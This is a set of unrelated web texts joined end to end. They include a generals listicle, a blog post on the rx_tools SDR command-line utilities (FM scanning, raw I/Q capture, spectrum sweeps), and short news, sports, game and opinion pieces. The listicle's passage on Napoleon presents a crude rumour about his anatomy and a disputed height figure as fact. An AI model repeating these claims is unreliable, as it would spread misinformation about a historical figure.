because he took General “Stonewall” Jackson away to enable its eradication.  3 Hannibal Barca  Hannibal oversaw the most truculent devastation in a single battle in the history of ancient warfare. It is cemented in history as the Battle of Cannae, in southeast Italy, just above the heel of the boot. Hannibal’s intent was utter conquest of the Roman Empire, and he came closer than anyone else in history to pulling it off. He had already defeated the Romans twice at Trebia and Lake Trasimene, inflicting tens of thousands of casualties and, in response, Rome gave dictatorial power to Fabius Maximus, who waged attrition warfare against him, refusing to fight him, and denying his army access to farmlands and food.  At Cannae, the Roman public demanded a victory, and the generals assigned to deliver it were Gaius Terentius Varro and Lucius Aemilius Paulus. They fearlessly and foolishly assailed Hannibal’s center, where they saw his troops to be weakest. Hannibal intended this as deception, and they fell for the trap: the center engaged in a very organized retreat in the face of superior numbers of Roman phalanges. This phalanx formation adopted from the Ancient Greeks and employed almost exclusively ever since, was thought unbreakable. This is true if the enemy attacks it from the front. But Hannibal saw its severe Achilles’s Heel: once in phalanx formation, the entire Roman mass of soldiers could not maneuver to protect itself from cavalry flanking or encirclement.  Hannibal allowed the Romans to advance and push his men back, whereupon he ordered his flanks, where all his very best soldiers waited, to close in from the sides. Meanwhile, he ordered his cavalry to outflank the Roman cavalry on the extreme right, then circle round behind the Romans, shut them in and lay waste to them entirely. And it worked. Paulus was killed in the atrocious carnage, and by the end of the day the Carthaginians were so exhausted from slaughtering every single man they could swing their swords and thrust their spears at that their hands seized to their weapons and they could not discard them. The Romans could not flank the Carthaginians’ left flank because of the Aufidus River.  Near nightfall, with the dust so badly obscuring everyone’s vision, about 14,000 Romans, including Varro, finally cut through a weak section of the lines and escaped to Canusium. Some 600 Roman soldiers were cut to pieces every minute for the better part of the day. Thousands of them dug little pits and buried their faces in them, suffocating rather than face the oncoming butchery. This may have been history’s first use of the pincer maneuver. The entire Roman army was obliterated.  2 Napoleon Bonaparte  Napoleon did something which, at the time, no one on Earth thought possible: he conquered almost all of Europe. He was quite full of himself, and that may have had something to do with his 5’2″ height, or his 1″ penis (look it up). But what he lacked in physicality, he more than made up for in daring and brilliance. When it became evident that he wanted Europe to be entirely French, all of Europe banded together against him. This coalition was comprised of The United Kingdom, Austria, Russia, Spain, Portugal, the Netherlands, Sweden and a host of others.  Napoleon singlehandedly led his Grande Armee to victory after victory, his most impressive occurring at Austerlitz and Ulm, among many others. His victory at Austerlitz is still regarded with awe in military universities around the world. Napoleon was outnumbered 72,000 to 92,000, but he knew that the Russian-Austrian coalition (the third coalition) was eager to attack and crush him, and he furthered their desire by feigning a weak appearance in his soldiers while on the field the day before the battle began. Then he deliberately thinned out his right flank to weaken it, and the coalition took the bait, attacking there the next morning. In doing so, the coalition depleted the forces in its center, and this is where Napoleon intended to strike at the right time. It worked.  There was more to it than that, of course, but Napoleon owed a large part of his success to his modernization of artillery tactics: the cannon had been used for centuries as simple supporting fire for the infantry. Napoleon used them as their own, mobile attack units, striking in small groups of 10 to 20, firing for up to 30 minutes, then displacing to another position on the field. He loses points, of course, for invading Russia. He fell victim to one of the classic blunders: never get involved in a land war in Asia. The Russians had lost enough battles to him, and simply retreated deeper and deeper into Russia, praying for Generals January and February, which arrived as timely as ever, and froze Napoleon in his tracks. The Russians burned absolutely everything in his path, including Moscow, and an army of some 600,000 men (maybe 690,000) needs a lot of food, especially for its horses. Only 180,000 made it back to France. Hitler deserves lowest mention on a list of the worst military strategists for attempting the very same invasion 200 years later.  Many experts believe that Napoleon had lost his edge by his return to Europe in 1815. He raised another army and fought the Duke of Wellington at Waterloo. Napoleon may have waited too long in the morning for the ground to dry out before commencing. This gave Wellington’s badly needed reinforcements, 50,000 men under Field Marshal Blucher, the time to get there and save the day. Napoleon nearly broke through the lines.  1 Alexander III of Macedon  The Greeks call him “Μέγας Ἀλέξανδρος,” that is, “Alexander the Great,” and he truly remains so, because he fought a total of 17 major battles, and won every single one of them. He was severely outnumbered in most of them, but by his generalship his men never lost more than 16% of their army in any one battle. That 16% death rate occurred only once, at Issus, in 333 BC, at which battle Alexander lost 6500 to 7000 men out of 40,000. His enemy, Darius III of Persia, lost 20,000 to 30,000 dead.  At Gaugamela, two years after Issus, he lost only 2.5% of his army, or about 1,100 men dead out of 47,000. He defeated the Persians spectacularly and his men killed at least 40,000, and as many as 90,000. The Persian army was comprised of at least 100,000 men, and may have had as many as 1,000,000. Darius was finally able to use his entire army at once without terrain restrictions, since at Issus Alexander fought him in a fairly narrow mountain pass.  Alexander surveyed the Persian army the night before, and decided to shift his army to the Persian left. Darius could not force his entire army to displace because the logistics were impossible. He did not want to present Alexander with his left flank, so he lengthened his lines, covering more ground with the same men, thus thinning their lines considerably. This had the effect Alexander wanted: his breakthrough on the Persian left was easier to achieve, and with his extraordinarily well trained cavalry (the Companions), he flanked the Persians, nearly speared Darius himself, and caused the Persians to panic and flee.  This was his typical strategy on the field, and it required his own left flank to be unbelievably tough, since the enemy army charged full force into it and attempted to flank it. Unfortunately for his enemies, you simply cannot break a Greek phalanx in the front. It is designed to withstand such assaults, and Alexander’s primary captain, Parmenion, deserves a lot of the glory for maintaining the army’s formation throughout all Alexander’s battles. Horses are very intelligent animals and will not charge into a line of spear points, however vehemently they are made to run.  Darius solved this problem by blindfolding his horses and harnessing them to chariots with sword blades attached to the wheel hubs. These would cut men’s legs off at the shins. Alexander solved this problem by training his men to separate their phalanges to half their depth, allow the horses and chariots into a three-sided pocket, kneel with their shields to the ground, and then swarm onto the charioteers. The scythed wheels rattled harmlessly across the shields. Today this tactic is called “Alexander’s Mousetrap.”  Notable omissions: Cyrus the Great, Pyrrhus of Epirus, Vercingetorix, Saladin, George Washington, Arthur Wellesley (Duke of Wellington), Red Cloud, Aleksei Brusilov.
-rx_tools: command-line SDR tools for RTL-SDR, bladeRF, HackRF, and more (rx_fm, rx_sdr, rx_power) — ported from librtlsdr  R. X. Seger Blocked Unblock Follow Following Jul 19, 2016  rx_power showing ~5 GHz captured on a HackRF over 9 hours  librtlsdr provides quite a few useful command-line tools for RTL-SDR dongles (including rtl_fm, rtl_sdr, and rtl_power). rx_tools is derived from these popular tools, but adds support for other more powerful SDR hardware, including the bladeRF and HackRF, thanks to the SoapySDR abstraction layer.  As they are intended to be a mostly drop-in replacement for librtlsdr’s tools:  rtl_fm → rx_fm  rtl_sdr → rx_sdr  rtl_power → rx_power  …existing documentation and guides on using rtl_* should be still useful when using rx_*, but with added hardware compatibility and other enhancements. In this article I’ll provide some background and motivation for these tools, and at the end demonstrate a couple interesting use cases.  If you just want to try out the new tools now, check out https://github.com/rxseger/rx_tools or skip to the end for examples, otherwise if you’re interested in more context, read on.  Background  The Pioneers: GNU Radio, USRP  GNU Radio was founded in 2001, and one of it first developers created Ettus Research and USRP. Featured in Wired in 2006, GNU Radio Opens an Unseen World, although software-defined radio has arguably existed in some form since the 1970s, GNU Radio and the USRP were clearly breaking new ground in building the foundation of modern software-defined radio:  An early Universal Software Radio Peripheral (photo from Wired)  Their original goal was to receive digital television (something I also experimented with, with some success: Receiving ATSC digital television with an SDR), they succeeded and then some. However, the USRP is quite an expensive device, prices ranging in the $1000's of dollars, out of the range of casual hobbyists.  The Affordable: RTL-SDR, librtlsdr  Then came an unexpected development: the RTL-SDR. The designers of the Realtek RTL2832U, primarily used as an inexpensive ($5–20) DVB-T television tuner, built-in a software-defined radio mode originally for receiving FM and DAB radio broadcasts. When developing a Linux driver for this chip, Eric Fry discovered the SDR mode and the rest is history.  librtlsdr was born, unlocking the true potential of the device, and bringing SDR into the hands of even the most casual hobbyist. Although more limited than say the USRP in many ways, the RTL-SDR is quite a powerful peripheral, a good start for those new to SDR. For more background and a more comprehensive introduction, see Luaradio’s New to SDR?.  Intel Atom N270, 1.60 GHz (from Flickr), a low-power CPU  As a low-cost device, the RTL-SDR is commonly used on low-cost single-board computers especially the Raspberry Pi, also priced in the tens of dollars, or personal computers built on the Intel Atom. With not much computing power to spare, command-line tools are preferred, hence librtlsdr ships with several, most usefully: rtl_fm, rtl_sdr, and rtl_power.  The Mid-Range  You may have noticed a glaring gap in cost, orders of magnitude, of the these two SDRs discussed above:  $1000’s: USRP  $100’s: ???  $10's: RTL-SDR  What lies in between? There are several products, ranging from the low to high hundreds of dollars. The two I am familiar with and will be using in this article are the Great Scott Gadget’s HackRF One and Nuand’s bladeRF x40 (brief comparison of the two here: Upgrading from HackRF One to bladeRF x40), but this is an interesting emerging area, expect more developments as the high-end and low-end SDRs converge.  Yet there is one problem: software.  A Survey of SDR Interfacing Libraries  The great promise of SDR is “it’s just software” — with sufficiently capable hardware, you can write radio software to do practically anything. However, not all software is made equal.  SDR applications must interface with the hardware by some mechanism. Software built on GNU Radio, such as gqrx, commonly uses the gr-osmosdr osmocom abstraction layer, supporting a multitude of devices. RTL-SDR, HackRF, bladeRF, you name it.  Not all software is as compatible, some is written hardcoded to use libraries from specific SDR vendors. If you’re lucky there might be a fork for your SDR. As I covered in SDR calibration via GSM FCCH using Kalibrate and LTE-Cell-Scanner on RTL-SDR and HackRF, the “kalibrate” GSM frequency calibration tool has at least four separate forks: kalibrate for USRP, kalibrate-rtl, kalibrate-hackrf, and kalibrate-bladeRF — one for each SDR.  JiaoXianjun/LTE-Cell-Scanner has support for all of RTL-SDR, HackRF, and bladeRF, but it accomplished this feat by linking against all three libraries: librtlsdr, libhackrf, libbladerf. The developer had to specifically code for each device individually, a lot of work and not scalable to new devices.  The excellent dump1090-mutability ADS-B receiver uses librtlsdr directly (just like rtl_fm/rtl_sdr/rtl_power), so it only supports RTL-SDR. More details in Flight tracking with ADS-B using dump1090-mutability and HackRF One on OS X, but there’s also SDRplay/dump1090 for the SDRplay RSP, and dump1090_sdrplus for the RTL-SDR, HackRF, AirSpy, and SDRplay (but not the bladeRF).  Not compatible with your SDR  Messy, isn’t it?  There have been efforts to improve this situation. spcutler/SDRIO was announced March 2014 in SDRIO: A hardware abstraction layer for SDR devices, but it has been inactive for two years. gr-osmosdr is a pretty good abstraction layer, but focused on GNU Radio.  Even within the librtlsdr library there is fragmentation: ostensibly git://git.osmocom.org/rtl-sdr.git is the official version, but I also found and submitted pull requests to https://github.com/librtlsdr/librtlsdr (note master vs development branch), not to mention https://github.com/keenerd/rtl-sdr/, which has many tool enhancements from the original author of rtl_fm and rtl_power, Kyle Keen.  Aside: Better Compatibility through Unix Pipes  The power of Unix pipes can help improve the SDR interfacing compatibility situation (indeed, csdr is solely focused on piping). dump1090 can read from stdin using “--ifile -” arguments, from any source. It can be piped from HackRF ‘-’ stdin/stdout using hackrf_transfer, with PR-261 Add support for transmitting/receiving from stdin/stdout.  rtl_tcp can listen on a TCP port, gr-osmosdr device flags rtl_tcp=127.0.0.1:1234 can connect to to it; rtl_sdr ‘-’ pipes to stdout, rtl_fm (see rtl_fm guide) can pipe sox for playing the demodulated audio, or multimon-ng for digital signal decoding.  Pipes are a powerful abstraction, but a full compatibility API offers more flexibility. For example, you may want a scanning tool to tune to various frequencies, which wouldn’t be possible over a Unix pipe dumping raw I/Q samples. A proper clean abstracted API is desired, fortunately there is one:  SoapySDR: a clean interface  Announced in November 2014 (Announcing the SoapySDR project), pothosware SoapySDR is under active development and I believe to be currently the best SDR abstraction layer.  It provides a vendor-neutral interface, including to librtlsdr, libhackrf, libbladerf, uhd, and even gr-osmosdr. Whatever SDR you have, it is most likely supported, or if not it support could be added by a plugin. SDRplay, Red Pitaya, S9C-ExtIO, EVB7, NovenaRF, Lime Suite LimeSDR, …  Existing usage  I first discovered SoapySDR through the great CubicSDR, the Cross-Platform Software-Defined Radio Application, which began using it in 2015.  It turns out I was already using SoapySDR via gqrx, presumably through gr-sdr (the stack trace for HackRF showed SoapyHackRF).  The up-and-coming LuaRadio embeddable flow graph signal processing framework is planning on adding SoapySDR support.  Porting notes: rtl_fm, rtl_sdr, rtl_power  All said and done, I set out to port a subset of librtlsdr tools to SoapySDR in order to add support for additional devices, expanding compatibility beyond the fabled RTL-SDR to at least the bladeRF and HackRF.  My inital port to SoapySDR was relatively straightforward, making the appropriate API changes, such as:  rtlsdr_read_async() on a different thread was replaced with:  SoapySDRDevice_setupStream  SoapySDRDevice_activateStream  SoapySDRDevice_readStream  An RX port, on the bladeRF  Then I renamed rtl_* to rx_*, since the tools are no longer tied to RTL-SDRs.  Supporting the HackRF out-of-the-box required tweaking the default gain settings. HackRF has three gain components, which can be set individually, or with setGain() distributed amongst all of them. TODO: cli flag to set gain components, rtl auto-gain  Supporting the bladeRF required switching to the CS16 format, from CU8/CS8, to support the 12-bit ADC. This is a good idea regardless, because both rtl_fm and rtl_power internally converted from 8-bit unsigned to 16-bit signed integers. Complex = pairs of I/Q values, each 16-bit or 8-bit (or …):  CS16 = complex signed 16-bit  CS8 = complex signed 8-bit (+127 to convert from CU8; HackRF native)  CU8 = complex unsigned 8-bit (native RTL-SDR)  To allow the tools full use of stdout — for rx_fm, the demodulated FM audio, for rx_sdr, the raw I/Q samples, for rx_power, the CSV logging — I redirect stdout to stderr, so any log messages from SoapySDR or drivers will not interfere with the output.  Another tweak for bladeRF: continue on overflows, seen at startup with bladeRF but quickly recovers.  Electromagnetic radiation frequencies (from Wikipedia)  For rx_power supporting HackRF, a more drastic change was needed: 64-bit frequencies. rtl_power used 32-bit signed integers (uint32_t, or int on my system) for frequency calculations, which were limited to 2³¹ GHz (~2.1 GHz). Expanding to 64-bit signed allows 2⁶⁴ = ~9 exahertz, should be enough for anyone unless you are using software-defined x-rays or gamma rays.  Not ported, other rtl_* tools & alternatives  librtlsdr includes a handful of other tools, which I did not port:  rtl_tcp, rtl_rpcd — allow using a remote RTL-SDR. This functionality is provided by SoapyRemote, for all SDRs.  rtl_adsb — haven’t tested, seems that dump1090 is more popular (although it also uses librtlsdr, could be worth porting as well).  rtl_ir, rtl_eeprom, rtl_test —are RTL-SDR specific.  Now that the porting is out of the way, and we have these shiny new rx_fm/rx_sdr/rx_power tools, what can we do with them?  Example Usage  rx_fm + bladeRF: police scanner for UHF  kmkeen’s rtl_fm guide describes a number of use cases for the tool, also applicable to rx_fm. As a simple test, I used rx_fm with a bladeRF as a police scanner for the UHF band.  This use case admittedly does not showcase the advantages of bladeRF very well (12-bit ADC, full duplex TX/RX, FPGA, etc.) but it’s a decent example of the device-independent compatibilities of rx_fm.  Based on the rtl_fm example, I also merged the ‘-E wav’ support from keenerd/rtl-sdr. This adds a .wav (RIFF) file header, obviating the need to pass the audio format details to sox. uhf_scan_b.sh is simply:  ./rx_fm -E wav -M fm -s 12k -l 25 -f … | play -t wav -  Frequencies omitted here, but they are passed in as multiple -f arguments. Use a site such as RadioReference to find the FM public safety frequencies available in your area. Scan results after a period of multiple hours:  Public safety (UHF) audio captured using rx_fm on a bladeRF  rx_sdr: raw I/Q data for processing in GNU Radio or other tools  I haven’t seen many use cases for rtl_sdr, but it can be useful to capture raw samples for later analysis; rx_sdr is now the device-independent analogue. Instead of using e.g. hackrf_transfer, you can use rx_sdr, for any SDR.  The new ‘-F’ option specifies the output format, currently: CU8, CS8, CS16 (described above), or CF32. rx_sdr defaults to CU8 for drop-in compatibility with rtl_sdr. GNU Radio’s native format is CF32, complex float 32-bit. So to capture an FM broadcast station, you could run:  ./rx_sdr -f 97.7M -F CF32 /tmp/fm  then use the “File Source” in GNU Radio (type “Complex”):  GNU Radio demodulating FM captured with rx_fm, flowgraph from SDR first project: initial setup, node-hackrf, GNU Radio on Linux, OS X, RPi 3 w/ FM tuner  and the samples captured through rx_sdr are processed by GNU Radio.  rx_power + HackRF: scanning the spectrum up to 6 GHz  At last, we arrive at what I wanted to do all along, which initated this porting project: scan the full 6 GHz spectrum with a HackRF using rtl_power. With rx_power, this is finally possible.  To scan a large range of spectrum, generating CSV output:  ./rx_power -f 0.1M:6G:1M -e 24h hackrf-power-1m.csv  Then convert to a .png using rtl-sdr-misc/heatmap.py:  python ~/rf/rtl-sdr-misc/heatmap hackrf-power-1m.csv hackrf-1m.png  Here’s what we see:  rx_power from 0.1 MHz — 6 GHz, bin size 1 MHz, over 9 hour period with HackRF  The image is super wide, but zooming in some interesting emissions can be found. 6 GHz is a significant expansion of the range observed with an RTL-SDR dongle up to about 1.7 GHz in Finding interesting signals: heat maps and callsigns. Some highlights:  The 2.4 GHz ISM band, including 802.11b/g/n Wi-Fi:  2.4–2.5 GHz ISM band, captured with rx_power on HackRF  The (noise?) on the right extends to about 2.75 GHz. There is a regular repeating pattern 3.5–3.6 GHz, possibly interference?  WiMax can operate at 3.5 GHz, but the regular pattern may suggest something else, unclear. If anyone has any ideas let me know. Then there’s this above 4 GHz, in the IEEE C-Band (4–8 GHz), possibly satellites?  The shifting frequency suggests Doppler shift (but at a 1 MHz scale? maybe something else). There are various bands with weaker power at 4.72 GHz, 4.9 GHz, 5.2 GHz, 5.1 GHz (two strong bands), 5.16 GHz, 5.23 GHz:  What are these? Harmonics, artifacts, nonsense? Or something real?  It takes until 5.660 GHz to reach a known signal, faint but noticeable:  This is 802.11ac Wi-Fi, operating on channel 132, in the Unlicensed National Information Infrastructure (U-NII) 5 GHz World band.  If anyone wants to run rx_power with their SDR and post their resulting heatmap, feel free to, I’d be interested particularly in the GHz range.  Future Directions  rx_tools building on SoapySDR for bladeRF and HackRF and RTL-SDR support is only the beginning, other SDRs ought to be supported, possibly requiring small tweaks, or they may already work — I’ve only tested with these three devices, but welcome bug reports from users using others.  Another benefit of rx_tools is that it is separated from the librtlsdr library, allowing it evolve independently. I have merged several patches from various librtlsdr forks, including my own small fixes/enhancements, and welcome any pull requests for anyone who wants to contribute further, making the command-line tool suite even better.  Even if you only have an RTL-SDR, you can still use rx_tools and benefit from the continued development, and continue using them once/if you decide to upgrade to a more powerful and sophisticated SDR device.
-Collar City Brewing is beginning work to convert the former Mount Ida Community Baptist Church building at 560 Congress St. in Troy into a brew pub. Louis Emory, one of five partners in the $1 million project, tells me the team is hoping for an opening in May.  Bill Newman, forefather of today’s Capital Region brewing scene, is working with Collar City Brewing as a consultant and will be aboard at least until until an opening brewmaster is hired. Emory says his brother Rob Emory will apprentice with the brewmaster and expects to take over brewing operations.  The brew pub will seat about 100 in the church’s former sanctuary, with a private-event space downstairs to accommodate another 100 or so. Emory says the business will have two kitchens, one dedicated to preparing food for those with allergies or sensitivities to dairy and/or gluten or other dietary restrictions. A head chef has not yet been hired.  Collar City’s seven-barrel brewing system is being designed and built by Portland Kettle Works, a company chosen in part because it uses American steel, Emory says.
-Ross Taylor-Douglas is leaving the Michigan program, and will look to transfer to another school. Taylor-Douglas will graduate this spring, and be eligible to play immediately per NCAA rules.  The former three-star recruit from Avon (OH) obtained his release from Michigan after meeting with head coach Jim Harbaugh Tuesday morning. Taylor-Douglas played runningback and cornerback for the Wolverines.  "I will be leaving Michigan and looking to transfer to another school," Taylor-Douglas reported. "I loved my time at Michigan, and my degree will benefit me the rest of my life."  "I appreciate Coach Harbaugh, and know he's going to do great things at Michigan," he added. "I just want to play football the next two years, so that's why this decision was made."  "I wish nothing but the best for my teammates and the coaching staff at Michigan," he concluded.  Scout will continue to track Taylor-Douglas over the coming months, and will report on any visits he takes. He is looking to play cornerback at his next school.
-Killing a spider is not a very difficult thing to do. A newspaper works well, so does a glass and sheet of paper if you instead decide to spare the arachnid and relocate it outside. But as one man found out this week, choosing fire to kill the critter is not advisable, especially if you value your home.  A man living in West Seattle noticed there was a spider in his laundry room and wanted to kill it. Apparently it was trying to escape into the wall, so he acted quickly by picking up a can of spray paint and a lighter. Yes ladies and gentlemen, he decided to create a makeshift flamethrower to kill a defenseless spider.  The plan completely backfired when the man sprayed the combustible can contents through the flame. The wall immediately caught fire and the flames started to spread throughout the room. In fact, he made it worse by throwing water on to the wall, which did nothing to halt its progression. The fire soon spread to the attic and quickly took hold of the house.  The Seattle Fire Department was called and they managed to put the fire out before it consumed the entire house. However, the man, who by the way rents the home, has been left with a $60,000 repair bill. As for the spider, we don’t know if its life was also taken in the fire, but I’d like to think it managed to escape outside and enjoyed the show.
-Double Dragon (ダブルドラゴン, Double Dragon) is a 1987 beat 'em up developed by Technos Japan and distributed in North America and Europe by Taito Corporation. The game is a spiritual and technological successor to Technos' earlier beat 'em up, Nekketsu Kōha Kunio-kun (released outside of Japan by Taito as Renegade), but introduced several additions such as two-player cooperative gameplay and the ability to arm oneself with an enemy's weapon after disarming them. Double Dragon is considered to be one of the first successful examples of the genre, resulting in the creation of two arcade sequels and several spinoffs, as well as inspiring other companies in creating their own beat 'em ups.  The player takes control of martial artist Billy Lee, or his twin brother Jimmy, as they fight their way into the turf of the Black Warriors gang in order to rescue Marian. The player character has a repertoire of martial art techniques which range from basic punches and kicks, to more elaborate maneuvers like hair grabbing moves and elbow strikes. There is a small variety of enemy characters that the player will face thorough the course of the game. Certain enemies will carry a melee weapon which the player can use by disarming the enemy carrying it and then retrieving the item from the floor. The game is divided into four different stages or "missions". The game normally ends if a single player defeats the final boss alone. However, if two players manage to complete the game together then the two will be forced to fight each other in order to determine who will win Marian's affections.  Home versions of the game were released for the NES, Sega Master System, Atari 2600, Atari 7800, Atari ST, Amiga, Commodore 64, Game Boy, Genesis/Mega Drive and Atari Lynx, among other platforms during the series's height of popularity. A remake titled Double Dragon Advance was released for the Game Boy Advance in 2003. The NES version was re-released for the Wii's Virtual Console in North America on April 28, 2008 at a cost of 500 Wii Points. Nintendo also released the Game Boy version on the Nintendo 3DS Virtual Console in 2011. Another remake has been released for the iPod Touch/iPhone mobile devices, which features brand new gameplay, sprites and animations, and music.  Japanese flyer  Title screen  Story [ edit ]  The game follows the story of Billy and Jimmy Lee, twin brothers who learned to fight on the cold, tough streets of their city. Their expert knowledge of the martial art Sou-Setsu-Ken, combined with their streetwise outlook, means that they're two of the most formidable combatants ever to walk the streets.  But now Billy and Jimmy are faced with the greatest challenge they're encountered. Billy's girlfriend, Marian, has been kidnapped by the Black Warriors, a barbaric street gang headed up by Big Boss Willy.  Use whatever weapons come to hand - knives, whips, bats, rocks, oil drums, even dynamite! Take control of Billy and Jimmy as they pursue the gang through the slums, factories, and outskirts of the city to reach the gangs hideout for their final confrontation with Willy.
-news that people like to go out at weekends, I hope you're sitting down for this one: people who aren't good at numbers tend to be bad at looking after their money. " data-share-img="" data-share="twitter,facebook,linkedin,reddit,google,mail" data-share-count="false">  After shocking you this morning with the news that people like to go out at weekends, I hope you’re sitting down for this one: people who aren’t good at numbers tend to be bad at looking after their money.  My professional life is largely spent in a world of highly-numerate and highly-intelligent people, many of whom blow up spectacularly in the financial markets. And looking at hedge funds in particular, it’s very easy to find genius-level investors who have lost astonishing amounts of money: there’s clearly more to getting and holding on to vast sums than simply being off-the-charts smart. But the fact is that if you zoom out from the tiny group at the top, there’s a very strong correlation between numeracy, or intelligence, or financial literacy, on the one hand, and having a solid financial footing, on the other.  Bear with me here, for a minute, because it’s worth reviewing the literature. Financially literate people are more likely to plan for retirement. And if you plan for retirement, you have more wealth: a 2006 paper showed the median person who was planning for retirement as being worth between $307,750 and $410,000, while the median person who isn’t planning for retirement was worth just $122,000.  IQ also helps. Check out this chart, for instance, from a very long and detailed paper about the likelihood that a person of given intelligence will be invested in the stock market.  The distribution is clear: the smarter you are (as measured by IQ), the more likely you are to be invested in the stock market. And this distribution is independent of wealth: it applies to the rich as much as it does to the poor. Or, as the paper puts it, “IQ’s role in the participation decisions of the affluent is about the same as it is for the less affluent. The definition of affluence—net worth or income—does not affect this finding.”  Most impressively, check out this paper from 2007. It asked just three “simple mathematical questions” of couples to judge the numeracy of each one. If neither got any questions right, the total wealth of the couple, on average, was $202,000. If they both got one question right, it was $505,000. If they both got two questions right, it was $853,000. And if they both got all three questions right, their average wealth on average was a whopping $1.7 million. (If they got different scores from each other, the wealth ended up somewhere in between.)  And similarly, at the other end of the spectrum, there’s huge amounts of research showing that if you’re particularly financially illiterate, or you’re not good at numbers, then you’re much more likely to be ripped off by predatory lenders or other scams, be they legal or otherwise.  There are various conclusions to be drawn here, one of which is that if we do a better job of financial education, then Americans as a whole will be better off. That’s true. But at the same time, financial illiteracy, and general innumeracy, and low IQs, are all perfectly common things which are never going to go away. It’s idiotic to try to blame people for having a low IQ: that’s not something people can control. And so it stands to reason that any fair society should look after people who are at such a natural disadvantage in life.  Which brings me to Nina Easton’s horrible new cover story for Fortune. Online, the headline is “Stop beating up the Rich”: even the capitalization grovels to the overclass. The magazine coverline is even worse: “In this political season,” it says, “the rich are an easy punching bag”.  But over the course of the story’s 2,700 words, Easton never really manages to give any examples of “people beating up the Rich”: she’s incredibly vague about the behavior she wants to stop. There’s a graphic, under the cute headline “Public Enemy No. 1%”, listing historical examples of Americans “taking shots at the wealthy”: it features things like the debut of Mr Burns in The Simpsons, and Enron’s Jeff Skilling getting pied.  By Easton’s own lights, that kind of thing is fair enough: there’s always a handful of evil rich people worthy of opprobrium. Her argument, quite explicitly, is that we shouldn’t tar all the rich with the same brush — but it’s precisely that kind of broad-based tarring which Easton has clearly failed to find. Yes, there are lots of impassioned pleas against rising inequality, but complaining about inequality is not at all the same thing as beating up on the rich.  So when Easton says that “it’s wrong to lump the 1% into a monolithic group of greedy, tax-avoiding, selfish capitalists”; when she complains of “diatribes against the 1%”; when she says those people are being vilified — what she’s actually doing is carefully constructing a straw man. She simply assumes that every time anybody stands up for the 99%, or complains that they’re not fully partaking in the fruits of America’s economic growth, that they’re vilifying the 1% who do partake in those fruits at the same time.  She’s also capable of writing highly mendacious stuff like this:  Obama’s tax proposal labels as “wealthy” households making more than $250,000 a year — a comfortable income in Indianapolis (where the median home price is $102,000) but barely enough to afford a studio apartment in Manhattan, where tax rates easily hit 50%.  This completely ignores how marginal tax rates work: to a first approximation, there are roughly zero people in Manhattan who pay 50% of their total income in taxes. It’s possible that marginal income ends up being taxed at that rate — but if you’re earning $250,000 a year, you’re not paying anything near $10,000 a month in taxes.  Even if you were having to suffer through life in New York on a post-tax income of a mere $125,000, you could still, quite easily, rent pretty much any studio apartment you wanted, with money to spare for nice meals and international holidays and the like. In Manhattan, the average studio apartment rents for $2,261 per month in non-doorman buildings, and $2,677 per month in doorman buildings. That’s just over $32,000 a year, or 12.8% of a $250,000 salary. I’d say that falls into the “easily afford” bucket, rather than the “barely afford” one.  The point here is that an income of $250,000 does, in fact, make you rich — and that if you increase marginal tax rates on people making more than that, then you’re only raising taxes on the income they make over and above a pretty hefty amount.  But Easton is too busy throwing out red herrings to notice: for instance, she says that “over the past four decades the global economy has left many behind, but it has also lifted tens of millions out of poverty”. Actually, the number of people lifted out of poverty, globally, over the past four decades is much bigger than that — but the number of Americans lifted out of poverty has been shamefully low for basically all this century.  “Raising taxes definitely won’t cure inequality,” says Easton, weirdly — if that’s the case, then the 1% really shouldn’t worry about higher taxes at all, since they’ll still be sitting happy, relatively super-rich, above everybody else.  In any case, the deep underlying problem with Easton’s article is the way in which she essentially says that the way to fix what ails us is for everybody to become intelligent and numerate and so on.  “Even if Occupy Wall Street’s wish came true and all the gains of the top 1% since 1979 were confiscated and redistributed to the 99%,” writes Easton, “household incomes would go up by less than half of what they would if everyone had a college degree.” She continues:  There’s a limit to what policymakers can do about the ravages on a middle-aged man’s job prospects after three decades’ worth of technological advances and global competition. But we can talk about education: College degrees, while not a panacea, not only carry huge salary premiums but also offer a measure of job protection.  This is true, but it also misses the crucial fact that not everybody can extract good value from college. There’s a reason that not everybody goes to college, and if you look at the predatory for-profit colleges pushing people into courses which they’re not remotely suitable for, it’s easy to see that the outcomes for people who do go to college are in large part a function of the fact that there’s a lot of self-selecting going on. The people who go to college are the literate and numerate and intelligent ones, and many of them would do well for themselves even if they had no college degree at all. Meanwhile, many of the people who don’t go to college would find it little more than a waste of time and money.  It seems to me that the current election campaign comes down in large part to a simple question: “who do you care about”? Do you care about the 1%, on the grounds that they are “job creators”? Or do you care about the bottom 40% — the people who have been left behind by US economic policy and who desperately need help and support? The Republicans clearly are the party of the 1%, and the Democrats are trying to paint themselves as the party of the middle class — of the 59%, you might say. But no one is standing up for the bottom 40%, the invisible poor, partly because they have a distressing tendency not to vote.  Easton concludes by saying that “mobility, in the form of equal opportunity rather than equal outcomes, is rooted in the very idea of America”. That’s true — and it’s also true that America has less equality of opportunity today than at any point in living memory. Once Easton has managed to provide the poor the same level of education afforded to the rich, then she can start talking about the open road to riches. But at that point, you might have a genuinely mobile society, where the people at the top know what it’s like to be at the bottom, and know that they might end up back down there themselves at some point. And in those societies, you tend to find much stronger safety nets, much more concern for people at the bottom, and many fewer tears shed for the plight of the 1%.
-Ed Smith, 16, Daisy Abraham, 16, and Rose MacKenzie, 15, pictured in the new gender-neutral toilets.  For a transgender teenager, something as simple as going to the loo at school can be a huge stress.  So two Wellington schools are leading a dunny revolution: fitting gender-neutral bathrooms for students who feel uncomfortable using 'male' or 'female' bathrooms.  Wellington High School has transformed its level 4 boys' bathroom into, well, just a bathroom.  And Onslow College is soon to follow suit, spending tens of thousands converting an old block of girls' toilets into gender-neutral facilities.  READ MORE:  * Farmers stores plan gender neutral changing rooms  * Gender neutral toilets a sign of the times says Professor  * Opinion: New Zealand needs gender-neutral loos and changing rooms  * American school adopts gender-neutral bathrooms  The schools join a global trend of schools and cities moving towards bathrooms that are not set up specifically for men or women.  "Some people don't identify with male or female fully, so it's hard for those people not feeling they can go into one of those bathrooms," said Wellington High School student Rose MacKenzie.  The 15-year-old said she had sometimes avoided using bathrooms in public, not knowing which to choose  "If I go into one I know I'll be told this is the female bathroom, but if I go into the other I might receive threats because of, you know, what I look like," she said.  MacKenzie is a member of Wellington High's UltraViolet club, representing LGBTQI+ students, which - led by student Ed Smith, 16 - raised the issue with the school board.  Deputy principal Andrew Savage said UltraViolet put together a comprehensive proposal on how the urinals could be converted, with sanitary bins put in each cubicle, and the sign outside changed to simply read 'bathroom'.  "The board of trustees listened to what the need was and within a short amount of time it was all done and dusted. It's kind of a boring story, in a good way," he laughed.  "The sky didn't fall 